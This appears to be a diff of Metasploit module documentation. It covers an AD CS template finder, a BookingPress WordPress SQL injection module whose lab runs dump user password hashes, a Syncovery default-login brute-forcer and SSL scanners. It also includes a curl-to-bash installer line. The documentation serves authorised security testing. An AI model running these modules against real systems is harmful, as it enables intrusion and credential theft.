[*] * S-1-5-21-3290009963-1772292745-3260174523-513 (Domain Users)
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins)
|
||||
[*] Issuing CAs:
|
||||
[*] * daforest-WIN-BR0CCBA815B-CA
|
||||
[*] Server: WIN-BR0CCBA815B.daforest.com
|
||||
[*] Enrollment SIDs:
|
||||
[*] * S-1-5-11 (Authenticated Users)
|
||||
[*] Template: UserSignature
|
||||
[*] Distinguished Name: CN=UserSignature,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=daforest,DC=com
|
||||
[*] Vulnerable to: ESC3_TEMPLATE_2
|
||||
[*] Certificate Template Enrollment SIDs:
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins)
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-513 (Domain Users)
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins)
|
||||
[!] UserSignature not published as an enrollable certificate!
|
||||
[*] Template: SmartcardUser
|
||||
[*] Distinguished Name: CN=SmartcardUser,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=daforest,DC=com
|
||||
[*] Vulnerable to: ESC3_TEMPLATE_2
|
||||
[*] Certificate Template Enrollment SIDs:
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins)
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins)
|
||||
[!] SmartcardUser not published as an enrollable certificate!
|
||||
[*] Template: ClientAuth
|
||||
[*] Distinguished Name: CN=ClientAuth,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=daforest,DC=com
|
||||
[*] Vulnerable to: ESC3_TEMPLATE_2
|
||||
[*] Certificate Template Enrollment SIDs:
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins)
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-513 (Domain Users)
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins)
|
||||
[!] ClientAuth not published as an enrollable certificate!
|
||||
[*] Template: SmartcardLogon
|
||||
[*] Distinguished Name: CN=SmartcardLogon,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=daforest,DC=com
|
||||
[*] Vulnerable to: ESC3_TEMPLATE_2
|
||||
[*] Certificate Template Enrollment SIDs:
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins)
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins)
|
||||
[!] SmartcardLogon not published as an enrollable certificate!
|
||||
[*] Template: Administrator
|
||||
[*] Distinguished Name: CN=Administrator,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=daforest,DC=com
|
||||
[*] Vulnerable to: ESC3_TEMPLATE_2
|
||||
[*] Certificate Template Enrollment SIDs:
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins)
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins)
|
||||
[*] Issuing CAs:
|
||||
[*] * daforest-WIN-BR0CCBA815B-CA
|
||||
[*] Server: WIN-BR0CCBA815B.daforest.com
|
||||
[*] Enrollment SIDs:
|
||||
[*] * S-1-5-11 (Authenticated Users)
|
||||
[*] Template: Machine
|
||||
[*] Distinguished Name: CN=Machine,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=daforest,DC=com
|
||||
[*] Vulnerable to: ESC3_TEMPLATE_2
|
||||
[*] Certificate Template Enrollment SIDs:
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins)
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-515 (Domain Computers)
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins)
|
||||
[*] Issuing CAs:
|
||||
[*] * daforest-WIN-BR0CCBA815B-CA
|
||||
[*] Server: WIN-BR0CCBA815B.daforest.com
|
||||
[*] Enrollment SIDs:
|
||||
[*] * S-1-5-11 (Authenticated Users)
|
||||
[*] Template: DomainController
|
||||
[*] Distinguished Name: CN=DomainController,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=daforest,DC=com
|
||||
[*] Vulnerable to: ESC3_TEMPLATE_2
|
||||
[*] Certificate Template Enrollment SIDs:
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-498 (Enterprise Read-only Domain Controllers)
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins)
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-516 (Domain Controllers)
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins)
|
||||
[*] * S-1-5-9 (Enterprise Domain Controllers)
|
||||
[*] Issuing CAs:
|
||||
[*] * daforest-WIN-BR0CCBA815B-CA
|
||||
[*] Server: WIN-BR0CCBA815B.daforest.com
|
||||
[*] Enrollment SIDs:
|
||||
[*] * S-1-5-11 (Authenticated Users)
|
||||
[*] Template: ESC3-Template2
|
||||
[*] Distinguished Name: CN=ESC3-Template2,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=daforest,DC=com
|
||||
[*] Vulnerable to: ESC3_TEMPLATE_2
|
||||
[*] Certificate Template Enrollment SIDs:
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins)
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-513 (Domain Users)
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins)
|
||||
[*] Issuing CAs:
|
||||
[*] * daforest-WIN-BR0CCBA815B-CA
|
||||
[*] Server: WIN-BR0CCBA815B.daforest.com
|
||||
[*] Enrollment SIDs:
|
||||
[*] * S-1-5-11 (Authenticated Users)
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) >
|
||||
```
|
||||
@@ -0,0 +1,220 @@
|
||||
## Vulnerable Application
|
||||
|
||||
The BookingPress WordPress plugin before 1.0.11 fails to properly sanitize user supplied data
|
||||
in the `total_service` parameter of the `bookingpress_front_get_category_services` AJAX action
|
||||
(available to unauthenticated users), prior to using it in a dynamically constructed SQL query.
|
||||
As a result, unauthenticated attackers can conduct an SQL injection attack to dump sensitive
|
||||
data from the backend database such as usernames and password hashes.
|
||||
|
||||
This module uses this vulnerability to dump the list of WordPress users and their associated
|
||||
email addresses and password hashes for cracking offline.
|
||||
|
||||
### Setup
|
||||
#### Ubuntu 20.04 with Docksal
|
||||
Install Docksal:
|
||||
|
||||
```bash
|
||||
sudo apt update
|
||||
sudo apt install curl
|
||||
bash <(curl -fsSL https://get.docksal.io)
|
||||
sudo usermod -aG docker $USER
|
||||
```
|
||||
|
||||
Reboot the VM (Docksal needs to be able to run `docker` without sudo).
|
||||
|
||||
```bash
|
||||
msfuser@ubuntu:~$ fin project create
|
||||
1. Name your project (lowercase alphanumeric, underscore, and hyphen): msf
|
||||
|
||||
2. What would you like to install?
|
||||
PHP based
|
||||
1. Drupal 9 (Composer Version)
|
||||
2. Drupal 9 (BLT Version)
|
||||
3. Drupal 9
|
||||
4. Drupal 7
|
||||
5. Wordpress
|
||||
6. Magento
|
||||
7. Laravel
|
||||
8. Symfony Skeleton
|
||||
9. Symfony WebApp
|
||||
10. Grav CMS
|
||||
11. Backdrop CMS
|
||||
|
||||
Go based
|
||||
12. Hugo
|
||||
|
||||
JS based
|
||||
13. Gatsby JS
|
||||
14. Angular
|
||||
|
||||
HTML
|
||||
15. Static HTML site
|
||||
|
||||
Custom
|
||||
0. Custom git repository
|
||||
|
||||
|
||||
Enter your choice (0-15): 5
|
||||
|
||||
Project folder: /home/msfuser/msf
|
||||
Project software: Wordpress
|
||||
Source repo: https://github.com/docksal/boilerplate-wordpress.git
|
||||
Source branch: <default>
|
||||
Project URL: http://msf.docksal
|
||||
|
||||
Do you wish to proceed? [y/n]: y
|
||||
|
||||
...
|
||||
|
||||
Success: WordPress installed successfully.
|
||||
|
||||
real 0m10.112s
|
||||
user 0m0.327s
|
||||
sys 0m0.061s
|
||||
Open http://msf-wp.docksal in your browser to verify the setup.
|
||||
Admin panel: http://msf-wp.docksal/wp-admin. User/password: admin/admin
|
||||
DONE! Completed all initialization steps.
|
||||
```
|
||||
|
||||
Download a vulnerable version of BookingPress:
|
||||
`wget https://downloads.wordpress.org/plugin/bookingpress-appointment-booking.1.0.10.zip`
|
||||
|
||||
Navigate to the WordPress admin page that was just setup by Docksal at
|
||||
http://msf-wp.docksal/wp-admin and log in with the username `admin` and password `admin`.
|
||||
|
||||
Navigate to `Plugins` on the left hand menu, then select `Add New` then select `Upload Plugin`.
|
||||
|
||||
Select `Browse...` and browse to the `bookingpress-appointment-booking.1.0.10.zip` file just downloaded, click `Install Now`.
|
||||
|
||||
You should see the following output in the browser:
|
||||
|
||||
```
|
||||
Installing Plugin from uploaded file: bookingpress-appointment-booking.1.0.10.zip
|
||||
|
||||
Unpacking the package…
|
||||
|
||||
Installing the plugin…
|
||||
|
||||
Plugin installed successfully.
|
||||
```
|
||||
|
||||
Click `Activate Plugin`.
|
||||
|
||||
The BookingPress plugin has to be in use on the WordPress site in order to exploit the vulnerability.
|
||||
To activate it, follow the directions below:
|
||||
|
||||
1. Navigate to `/wp-admin/admin.php?page=bookingpress_services`.
|
||||
1. Click `Manage Categories`, then click `+ Add New`, enter a `Category Name` and click `Save`.
|
||||
1. Beside `Manage Services` click `+ Add New`, enter a `Service Name`, enter the Category you just created in the `Category` dropdown, enter a `Price` and click `Save`.
|
||||
1. Select `+ New` at the top of the screen and then select `Page` from the dropdown to create a new WordPress page.
|
||||
1. Paste `[bookingpress_form]` on the new page and click `publish`.
|
||||
1. Navigate to `/bookingpress/` and you should see BookPress running with the Category / Service you created in step 1.
|
||||
|
||||
### Installation Notes
|
||||
You may need to increase the size of file uploads to install the BookingPress plugin. To do this, you can use
|
||||
https://wordpress.org/plugins/tuxedo-big-file-uploads/ or https://wordpress.org/plugins/wp-maximum-upload-file-size/
|
||||
to increase the file upload size. I then had to some fiddling around since it may take some time for the changes
|
||||
to be picked up. You may have success if you also install https://wordpress.org/plugins/custom-php-settings/, so
|
||||
this is worth a shot if you are having issues.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole.
|
||||
1. Do: `use auxiliary/gather/wp_bookingpress_category_services_sqli`.
|
||||
1. Set the options `RHOSTS` to the target WordPress host IP address.
|
||||
1. Set `RPORT` to the port that the target WordPress install is running on.
|
||||
1. Set `BOOKING_PRESS_PAGE` to the path on the WordPress host where the BookingPress make a booking page is.
|
||||
1. Verify visiting this URL shows "Select Category" and "Select Service" on the resulting page.
|
||||
1. Run the module.
|
||||
1. Receive a table of WordPress users and their associated email addresses and password hashes.
|
||||
|
||||
## Scenarios
|
||||
### Booking Press 1.0.10, WordPress Running Via Docksal, Ubuntu 20.04
|
||||
```
|
||||
msf6 > use gather/wp_bookingpress_category_services_sqli
|
||||
msf6 auxiliary(gather/wp_bookingpress_category_services_sqli) > set rhosts localhost
|
||||
rhosts => localhost
|
||||
msf6 auxiliary(gather/wp_bookingpress_category_services_sqli) > set rport 8000
|
||||
rport => 8000
|
||||
msf6 auxiliary(gather/wp_bookingpress_category_services_sqli) > run
|
||||
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable.
|
||||
[*] Extracting credential information
|
||||
Wordpress User Credentials
|
||||
==========================
|
||||
|
||||
Username Email Hash
|
||||
-------- ----- ----
|
||||
admin admin@admin.com $P$BfxUckldN6AiHPD0BK6jg58se2b.aL.
|
||||
hackerman hackerman@hacktheworld.io $P$BESfz7bqSOY8VkUfuYXAZ/bT5E36ww/
|
||||
mr_metasploit mr_metasploit@metaslpoit.org $P$BDb8pIfym5dS6WTnNU8vU5Uk6i89fk.
|
||||
msfuser msfuser@rapid7.com $P$BpITVDPiqOZ7fyQbI5g9rsgUvZQFBd1
|
||||
todd todd@toddtown.com $P$BnlpkVgxGFWnmvdDQ3JStgpIx8LMFj0
|
||||
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(gather/wp_bookingpress_category_services_sqli) > set AutoCheck false
|
||||
AutoCheck => false
|
||||
msf6 auxiliary(gather/wp_bookingpress_category_services_sqli) > run
|
||||
|
||||
[!] AutoCheck is disabled, proceeding with exploitation
|
||||
[*] Extracting credential information
|
||||
Wordpress User Credentials
|
||||
==========================
|
||||
|
||||
Username Email Hash
|
||||
-------- ----- ----
|
||||
admin admin@admin.com $P$BfxUckldN6AiHPD0BK6jg58se2b.aL.
|
||||
hackerman hackerman@hacktheworld.io $P$BESfz7bqSOY8VkUfuYXAZ/bT5E36ww/
|
||||
mr_metasploit mr_metasploit@metaslpoit.org $P$BDb8pIfym5dS6WTnNU8vU5Uk6i89fk.
|
||||
msfuser msfuser@rapid7.com $P$BpITVDPiqOZ7fyQbI5g9rsgUvZQFBd1
|
||||
todd todd@toddtown.com $P$BnlpkVgxGFWnmvdDQ3JStgpIx8LMFj0
|
||||
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(gather/wp_bookingpress_category_services_sqli) >
|
||||
```
|
||||
|
||||
### Booking Press 1.0.10, WordPress Latest Docker Image on Debian 11 (bullseye)
|
||||
```
|
||||
msf6 > use auxiliary/gather/wp_bookingpress_category_services_sqli
|
||||
msf6 auxiliary(gather/wp_bookingpress_category_services_sqli) > set RHOSTS 127.0.0.1
|
||||
RHOSTS => 127.0.0.1
|
||||
msf6 auxiliary(gather/wp_bookingpress_category_services_sqli) > set RPORT 8000
|
||||
RPORT => 8000
|
||||
msf6 auxiliary(gather/wp_bookingpress_category_services_sqli) > set TARGETURI "/?page_id=10"
|
||||
TARGETURI => /?page_id=10
|
||||
msf6 auxiliary(gather/wp_bookingpress_category_services_sqli) > show options
|
||||
|
||||
Module options (auxiliary/gather/wp_bookingpress_category_services_sqli):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 127.0.0.1 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
|
||||
RPORT 8000 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
TARGETURI /?page_id=10 yes The URL of the BookingPress appointment booking page
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 auxiliary(gather/wp_bookingpress_category_services_sqli) > check
|
||||
[+] 127.0.0.1:8000 - The target is vulnerable.
|
||||
msf6 auxiliary(gather/wp_bookingpress_category_services_sqli) > exploit
|
||||
[*] Running module against 127.0.0.1
|
||||
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable.
|
||||
[*] Extracting credential information
|
||||
Wordpress User Credentials
|
||||
==========================
|
||||
|
||||
Username Email Hash
|
||||
-------- ----- ----
|
||||
normal normal@test.com $P$Bu9/XNK93oyUTKO.zJ9yGZfYAcbZg9.
|
||||
testAdmin test@testfakeness.com $P$BYWtZOfh8yqLCKA877hwBysqGdRtk/.
|
||||
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(gather/wp_bookingpress_category_services_sqli) >
|
||||
```
|
||||
@@ -1,47 +0,0 @@
|
||||
## Description
|
||||
|
||||
This module queries a host or range of hosts and pull the SSL certificate information if one is installed.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: ```use auxiliary/scanner/http/ssl```
|
||||
2. Do: ```set RHOSTS [IP]```
|
||||
3. Do: ```set THREADS [num of threads]```
|
||||
4. Do: ```run```
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf > use auxiliary/scanner/http/ssl
|
||||
msf auxiliary(ssl) > set RHOSTS 192.168.1.200-254
|
||||
RHOSTS => 192.168.1.200-254
|
||||
msf auxiliary(ssl) > set THREADS 20
|
||||
THREADS => 20
|
||||
msf auxiliary(ssl) > run
|
||||
|
||||
[*] Error: 192.168.1.205: OpenSSL::SSL::SSLError SSL_connect SYSCALL returned=5 errno=0 state=SSLv3 read server hello A
|
||||
[*] Error: 192.168.1.206: OpenSSL::SSL::SSLError SSL_connect SYSCALL returned=5 errno=0 state=SSLv3 read server hello A
|
||||
[*] 192.168.1.208:443 Subject: /C=--/ST=SomeState/L=SomeCity/O=SomeOrganization/OU=SomeOrganizationalUnit/CN=localhost.localdomain/emailAddress=root@localhost.localdomain Signature Alg: md5WithRSAEncryption
|
||||
[*] 192.168.1.208:443 WARNING: Signature algorithm using MD5 (md5WithRSAEncryption)
|
||||
[*] 192.168.1.208:443 has common name localhost.localdomain
|
||||
[*] 192.168.1.211:443 Subject: /C=--/ST=SomeState/L=SomeCity/O=SomeOrganization/OU=SomeOrganizationalUnit/CN=localhost.localdomain/emailAddress=root@localhost.localdomain Signature Alg: sha1WithRSAEncryption
|
||||
[*] 192.168.1.211:443 has common name localhost.localdomain
|
||||
[*] Scanned 13 of 55 hosts (023% complete)
|
||||
[*] Error: 192.168.1.227: OpenSSL::SSL::SSLError SSL_connect SYSCALL returned=5 errno=0 state=SSLv3 read server hello A
|
||||
[*] 192.168.1.223:443 Subject: /CN=localhost Signature Alg: sha1WithRSAEncryption
|
||||
[*] 192.168.1.223:443 has common name localhost
|
||||
[*] 192.168.1.222:443 WARNING: Signature algorithm using MD5 (md5WithRSAEncryption)
|
||||
[*] 192.168.1.222:443 has common name MAILMAN
|
||||
[*] Scanned 30 of 55 hosts (054% complete)
|
||||
[*] Scanned 31 of 55 hosts (056% complete)
|
||||
[*] Scanned 39 of 55 hosts (070% complete)
|
||||
[*] Scanned 41 of 55 hosts (074% complete)
|
||||
[*] Scanned 43 of 55 hosts (078% complete)
|
||||
[*] Scanned 45 of 55 hosts (081% complete)
|
||||
[*] Scanned 46 of 55 hosts (083% complete)
|
||||
[*] Scanned 53 of 55 hosts (096% complete)
|
||||
[*] Scanned 55 of 55 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(ssl) >
|
||||
```
|
||||
|
||||
@@ -0,0 +1,81 @@
|
||||
## Vulnerable Application
|
||||
[Syncovery For Linux with Web-GUI](https://www.syncovery.com/download/linux/)
|
||||
|
||||
This module attempts to brute-force valid login credentials for the Syncovery File Sync & Backup Software Web-GUI for Linux.
|
||||
The default credentials are checked by default.
|
||||
|
||||
### Authors
|
||||
|
||||
- Jan Rude (mgm security partners GmbH)
|
||||
|
||||
### Platforms
|
||||
|
||||
- Unix
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: `use modules/auxiliary/scanner/http/syncovery_linux_login`
|
||||
4. Do: `set RHOSTS <TARGET HOSTS>`
|
||||
5. Do: `run`
|
||||
6. On success you should get valid credentials.
|
||||
|
||||
## Options
|
||||
|
||||
### USERNAME
|
||||
Username used for login. Default is "default".
|
||||
|
||||
### PASSWORD
|
||||
Password used for login. Default is "pass".
|
||||
|
||||
### TARGETURI
|
||||
The path to Syncovery login.
|
||||
|
||||
### PORT
|
||||
The (TCP) target port on which Syncovery is running. By default port 8999 is used for HTTP and port 8943 is used for HTTPS.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Syncovery for Linux with default credentials
|
||||
|
||||
```
|
||||
msf6 > use modules/auxiliary/scanner/http/syncovery_linux_login
|
||||
msf6 auxiliary(scanner/http/syncovery_linux_login) > set rhosts 192.168.178.26
|
||||
rhosts => 192.168.178.26
|
||||
msf6 auxiliary(scanner/http/syncovery_linux_login) > options
|
||||
|
||||
Module options (auxiliary/scanner/http/syncovery_linux_login):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
BLANK_PASSWORDS false no Try blank passwords for all users
|
||||
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
|
||||
DB_ALL_CREDS false no Try each user/password couple stored in the current database
|
||||
DB_ALL_PASS false no Add all passwords in the current database to the list
|
||||
DB_ALL_USERS false no Add all users in the current database to the list
|
||||
DB_SKIP_EXISTING none no Skip existing credentials stored in the current database (Accepted: none, user, user&realm)
|
||||
PASSWORD pass no The password to Syncovery (default: pass)
|
||||
PASS_FILE no File containing passwords, one per line
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 192.168.178.26 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
|
||||
RPORT 8999 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
STOP_ON_SUCCESS true yes Stop guessing when a credential works for a host
|
||||
TARGETURI / no The path to Syncovery
|
||||
THREADS 1 yes The number of concurrent threads (max one per host)
|
||||
USERNAME default yes The username to Syncovery (default: default)
|
||||
USERPASS_FILE no File containing users and passwords separated by space, one pair per line
|
||||
USER_AS_PASS false no Try the username as the password for all users
|
||||
USER_FILE no File containing usernames, one per line
|
||||
VERBOSE true yes Whether to print output for all attempts
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
msf6 auxiliary(scanner/http/syncovery_linux_login) > run
|
||||
|
||||
[+] 192.168.178.26:8999 - Syncovery File Sync & Backup Software confirmed
|
||||
[+] 192.168.178.26:8999 - Identified version: 9.48a
|
||||
[+] 192.168.178.26:8999 - Success: 'default:pass'
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -0,0 +1,139 @@
|
||||
## Vulnerable Application
|
||||
|
||||
### Description
|
||||
Check if a server supports a given version of SSL/TLS and cipher suites.
|
||||
|
||||
The certificate is stored in loot, and any known vulnerabilities against that
|
||||
SSL version and cipher suite combination are checked. These checks include
|
||||
POODLE, deprecated protocols, expired/not valid certs, low key strength, null cipher suites,
|
||||
certificates signed with MD5, DROWN, RC4 ciphers, exportable ciphers, LOGJAM, and BEAST.
|
||||
|
||||
## Options
|
||||
|
||||
### SSLVersion
|
||||
|
||||
Which SSL/TLS Version to use. `all` implies all SSL/TLS versions which are usable by the metasploit + ruby + OpenSSL
|
||||
versions installed on the system. List is dynamically generated. Defaults to `all`
|
||||
|
||||
### SSLCipher
|
||||
|
||||
Which SSL/TLS Cipher to use. `all` implies all ciphers avaiable for the version of SSL/TLS being used and which
|
||||
are usable by the metasploit + ruby + OpenSSL versions installed on the system.
|
||||
List is dynamically generated. Defaults to `all`
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: `use auxiliary/scanner/ssl/ssl_version`
|
||||
2. Do: `set RHOSTS [IP]`
|
||||
3. Do: `set THREADS [num of threads]`
|
||||
4. Do: `run`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### No issues found
|
||||
|
||||
An example run against `google.com`, no real issues as expected.
|
||||
|
||||
```
|
||||
msf6 > use auxiliary/scanner/ssl/ssl_version
|
||||
msf6 auxiliary(scanner/ssl/ssl_version) > set RHOSTS 172.217.12.238
|
||||
RHOSTS => 172.217.12.238
|
||||
msf6 auxiliary(scanner/ssl/ssl_version) > run
|
||||
|
||||
[+] 172.217.12.238:443 - Connected with SSL Version: TLSv1.2, Cipher: ECDHE-RSA-AES256-GCM-SHA384
|
||||
[+] 172.217.12.238:443 - Certificate saved to loot: /home/gwillcox/.msf4/loot/20221107150747_default_172.217.12.238_ssl.certificate_342145.txt
|
||||
[*] 172.217.12.238:443 - Certificate Information:
|
||||
[*] 172.217.12.238:443 - Subject: /CN=*.google.com
|
||||
[*] 172.217.12.238:443 - Issuer: /C=US/O=Google Trust Services LLC/CN=GTS CA 1C3
|
||||
[*] 172.217.12.238:443 - Signature Alg: sha256WithRSAEncryption
|
||||
[*] 172.217.12.238:443 - Public Key Size: 2048 bits
|
||||
[*] 172.217.12.238:443 - Not Valid Before: 2022-10-17 08:16:43 UTC
|
||||
[*] 172.217.12.238:443 - Not Valid After: 2023-01-09 08:16:42 UTC
|
||||
[*] 172.217.12.238:443 - CA Issuer: http://pki.goog/repo/certs/gts1c3.der
|
||||
[*] 172.217.12.238:443 - Has common name *.google.com
|
||||
[+] 172.217.12.238:443 - Connected with SSL Version: TLSv1.2, Cipher: ECDHE-RSA-CHACHA20-POLY1305
|
||||
[+] 172.217.12.238:443 - Connected with SSL Version: TLSv1.2, Cipher: ECDHE-RSA-AES128-GCM-SHA256
|
||||
[+] 172.217.12.238:443 - Connected with SSL Version: TLSv1.2, Cipher: AES256-GCM-SHA384
|
||||
[+] 172.217.12.238:443 - Connected with SSL Version: TLSv1.2, Cipher: AES128-GCM-SHA256
|
||||
[*] 172.217.12.238:443 - Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(scanner/ssl/ssl_version) > show options
|
||||
|
||||
Module options (auxiliary/scanner/ssl/ssl_version):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
RHOSTS 172.217.12.238 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
|
||||
RPORT 443 yes The target port (TCP)
|
||||
SSLCipher All yes SSL cipher to test (Accepted: All, TLS_AES_256_GCM_SHA384, TLS_CHACHA20_POLY1305_SHA256, TLS_AES_128_GCM_SHA256, ECDHE-ECDSA-AES256-GCM-SHA384, ECDHE-RSA-A
|
||||
ES256-GCM-SHA384, DHE-RSA-AES256-GCM-SHA384, ECDHE-ECDSA-CHACHA20-POLY1305, ECDHE-RSA-CHACHA20-POLY1305, DHE-RSA-CHACHA20-POLY1305, ECDHE-ECDSA-AES128-GCM-
|
||||
SHA256, ECDHE-RSA-AES128-GCM-SHA256, DHE-RSA-AES128-GCM-SHA256, ECDHE-ECDSA-AES256-SHA384, ECDHE-RSA-AES256-SHA384, DHE-RSA-AES256-SHA256, ECDHE-ECDSA-AES1
|
||||
28-SHA256, ECDHE-RSA-AES128-SHA256, DHE-RSA-AES128-SHA256, ECDHE-ECDSA-AES256-SHA, ECDHE-RSA-AES256-SHA, DHE-RSA-AES256-SHA, ECDHE-ECDSA-AES128-SHA, ECDHE-
|
||||
RSA-AES128-SHA, DHE-RSA-AES128-SHA, RSA-PSK-AES256-GCM-SHA384, DHE-PSK-AES256-GCM-SHA384, RSA-PSK-CHACHA20-POLY1305, DHE-PSK-CHACHA20-POLY1305, ECDHE-PSK-C
|
||||
HACHA20-POLY1305, AES256-GCM-SHA384, PSK-AES256-GCM-SHA384, PSK-CHACHA20-POLY1305, RSA-PSK-AES128-GCM-SHA256, DHE-PSK-AES128-GCM-SHA256, AES128-GCM-SHA256,
|
||||
PSK-AES128-GCM-SHA256, AES256-SHA256, AES128-SHA256, ECDHE-PSK-AES256-CBC-SHA384, ECDHE-PSK-AES256-CBC-SHA, SRP-RSA-AES-256-CBC-SHA, SRP-AES-256-CBC-SHA,
|
||||
RSA-PSK-AES256-CBC-SHA384, DHE-PSK-AES256-CBC-SHA384, RSA-PSK-AES256-CBC-SHA, DHE-PSK-AES256-CBC-SHA, AES256-SHA, PSK-AES256-CBC-SHA384, PSK-AES256-CBC-SHA
|
||||
, ECDHE-PSK-AES128-CBC-SHA256, ECDHE-PSK-AES128-CBC-SHA, SRP-RSA-AES-128-CBC-SHA, SRP-AES-128-CBC-SHA, RSA-PSK-AES128-CBC-SHA256, DHE-PSK-AES128-CBC-SHA256
|
||||
, RSA-PSK-AES128-CBC-SHA, DHE-PSK-AES128-CBC-SHA, AES128-SHA, PSK-AES128-CBC-SHA256, PSK-AES128-CBC-SHA)
|
||||
SSLVersion All yes SSL version to test (Accepted: All, SSLv3, TLSv1.0, TLSv1.2, TLSv1.3)
|
||||
THREADS 1 yes The number of concurrent threads (max one per host)
|
||||
|
||||
msf6 auxiliary(scanner/ssl/ssl_version) >
|
||||
```
|
||||
|
||||
### Expired certificate
|
||||
|
||||
```
|
||||
msf6 > use auxiliary/scanner/ssl/ssl_version
|
||||
msf6 auxiliary(scanner/ssl/ssl_version) > set RHOSTS expired.badssl.com
|
||||
RHOSTS => expired.badssl.com
|
||||
msf6 auxiliary(scanner/ssl/ssl_version) > run
|
||||
|
||||
[+] 104.154.89.105:443 - Connected with SSL Version: TLSv1.2, Cipher: ECDHE-RSA-AES256-GCM-SHA384
|
||||
[+] 104.154.89.105:443 - Certificate saved to loot: /home/gwillcox/.msf4/loot/20221107150939_default_104.154.89.105_ssl.certificate_786557.txt
|
||||
[*] 104.154.89.105:443 - Certificate Information:
|
||||
[*] 104.154.89.105:443 - Subject: /C=US/ST=California/L=San Francisco/O=BadSSL Fallback. Unknown subdomain or no SNI./CN=badssl-fallback-unknown-subdomain-or-no-sni
|
||||
[*] 104.154.89.105:443 - Issuer: /C=US/ST=California/L=San Francisco/O=BadSSL/CN=BadSSL Intermediate Certificate Authority
|
||||
[*] 104.154.89.105:443 - Signature Alg: sha256WithRSAEncryption
|
||||
[*] 104.154.89.105:443 - Public Key Size: 2048 bits
|
||||
[*] 104.154.89.105:443 - Not Valid Before: 2016-08-08 21:17:05 UTC
|
||||
[*] 104.154.89.105:443 - Not Valid After: 2018-08-08 21:17:05 UTC
|
||||
[+] 104.154.89.105:443 - Certificate contains no CA Issuers extension... possible self signed certificate
|
||||
[*] 104.154.89.105:443 - Has common name badssl-fallback-unknown-subdomain-or-no-sni
|
||||
[+] 104.154.89.105:443 - Certificate expired: 2018-08-08 21:17:05 UTC
|
||||
[+] 104.154.89.105:443 - Connected with SSL Version: TLSv1.2, Cipher: DHE-RSA-AES256-GCM-SHA384
|
||||
